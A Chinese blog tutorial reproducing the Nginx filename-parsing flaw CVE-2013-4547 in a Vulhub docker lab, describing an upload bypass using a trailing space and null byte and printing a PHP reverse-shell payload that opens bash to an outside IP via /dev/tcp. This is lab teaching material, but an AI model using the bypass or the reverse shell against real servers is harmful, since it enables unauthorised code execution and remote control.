网站首页 > 技术教程 正文
我个人的理解是先POST一个上传请求,内容是php脚本,但是文件名是txt后缀,只不过这个后缀结尾有一个%20%00,先欺骗web服务器,确实上传了一个txt文件,然后发一个GET请求,URL是这个txt文件路径加上.php,欺骗服务器走php解析,成功执行php文件,最后我演示了一个反弹shell,作为本实验的提升~
ailx10
网络安全优秀回答者
网络安全硕士
去咨询
下面是Vulhub的官方解释:
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行。举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:[1]
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下,只有.php后缀的文件才会被发送给fastcgi解析。而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则\.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。
前提:准备好docker环境,下载好vulhub,进入目录 ,开始复现漏洞
- docker-compose build //可选
- docker-compose up -d
完成试验后,记得删除漏洞环境哦~~
- docker-compose down
- docker system prune -a -f //可选
简单访问一下,说明Nginx 文件名逻辑漏洞(CVE-2013-4547)环境搭建成功了
我们可以上传多种类型的文件,唯独不能上传php文件,但是我能上传内容是php的txt文件,然后在HEX模式下,修改txt文件后缀为2000
我们通过burpsuite来访问它,注意后面加上.php,否则不行
看到这,说明已经成功执行php文件了。那么,我们继续来看进阶的反弹shell ~
<?php system("bash -c 'bash -i &>/dev/tcp/174.137.58.6/8888 0>&1'");?>
先来一个POST请求
再来一个GET请求,虽然显示504,但是
反弹shell成功了
参考
- ^Nginx 文件名逻辑漏洞(CVE-2013-4547) https://vulhub.org/#/environments/nginx/CVE-2013-4547/
猜你喜欢
- 2024-10-11 如何在Linux和Unix上隐藏Nginx版本
- 2024-10-11 如何在 Web 服务器文档根目录上设置只读文件权限
- 2024-10-11 Nginx/Apache一招解决目录安全问题
- 2024-09-19 揭秘Nginx访问日志:一键脚本助你洞悉用户行为
- 2024-09-19 手把手教学|Nginx 如何配置 HTTPS 服务器
- 2024-09-19 Linux(Centos)之安装Nginx及注意事项
- 2024-09-19 推荐|一款优化与掌控Nginx配置的利器——NginxConfig
- 2024-09-19 网页服务-Nginx - 访问控制 - 基于 密码文件
- 2024-09-19 「nginx」八、nginx日志文件配置与分割
- 2024-09-19 nginx php服务器如何配置(nginx php7)
你 发表评论:
欢迎- 最近发表
-
- Linux新手必看:几种方法帮你查看CPU核心数量
- linux基础命令之lscpu命令(linux中ls命令的用法)
- Linux lscpu 命令使用详解(linux常用ls命令)
- 如何查询 Linux 中 CPU 的数量?这几个命令要知道!
- 在linux上怎么查看cpu信息(linux如何查看cpu信息)
- 查看 CPU 的命令和磁盘 IO 的命令
- 如何在CentOS7上改变网卡名(centos怎么改网卡名字)
- 网工必备Linux网络管理命令(网工必备linux网络管理命令是什么)
- Linux 网络命令知多少(linux 网络 命令)
- Linux通过命令行连接wifi的方式(linux命令行连接无线网)
- 标签列表
-
- 下划线是什么 (87)
- 精美网站 (58)
- qq登录界面 (90)
- nginx 命令 (82)
- nginx .http (73)
- nginx lua (70)
- nginx 重定向 (68)
- Nginx超时 (65)
- nginx 监控 (57)
- odbc (59)
- rar密码破解工具 (62)
- annotation (71)
- 红黑树 (57)
- 智力题 (62)
- php空间申请 (61)
- 按键精灵 注册码 (69)
- 软件测试报告 (59)
- ntcreatefile (64)
- 闪动文字 (56)
- guid (66)
- abap (63)
- mpeg 2 (65)
- column (63)
- dreamweaver教程 (57)
- excel行列转换 (56)
本文暂时没有评论,来添加一个吧(●'◡'●)